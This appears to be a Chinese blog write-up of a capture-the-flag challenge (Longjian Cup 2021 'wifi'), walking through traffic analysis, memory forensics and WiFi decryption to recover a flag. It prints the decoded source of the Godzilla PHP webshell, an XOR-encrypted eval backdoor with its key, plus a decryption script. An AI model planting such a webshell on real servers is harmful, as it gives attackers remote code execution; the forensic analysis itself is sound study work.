七月十二号日寄

[陇剑杯 2021]wifi

流量分析+内存取证+WiFi破解

跟着wp复现

题目：

网管小王最近喜欢上了ctf网络安全竞赛，他使用“哥斯拉”木马来玩玩upload-labs，并且保存了内存镜像、wifi流量和服务器流量，
让您来分析后作答：
小王往upload-labs上传木马后进行了cat /flag，flag内容为_____________。（压缩包里有解压密码的提示，需要额外添加花括号）。

附件：

其中客户端.cap加密，但可以知道SSID=My_Wifi

看服务器.pcap

因为上传了木马，过滤POST

追踪HTTP流

URLdecode
-->reverse
-->base64

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

Godzilla特征分析

解密脚本：

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
 
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
echo gzdecode(encode(base64_decode('待解密字符串'),$key));
?>

回头看vmem

搜索一下关键词

发现My_Wifi.zip，导出

文件加密，密码为网络适配器（网卡）的GUID

关于系统保存的wifi密码文件地址:

如果是Windows Vista或Windows 7，保存在c:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces[网卡Guid]

查找Interfaces

解压zip，得到WiFi密码

编辑-->首选项-->Protocols-->IEEE 802.11-->Edit

查找HTTP

多试几次，在流39

72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488

除去前后16个混淆字符

fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=

PHP在线运行工具

标签：七月,--,Interfaces,wifi,网卡,Wifi,木马,十二号
来源： https://www.cnblogs.com/vuclw/p/16470372.html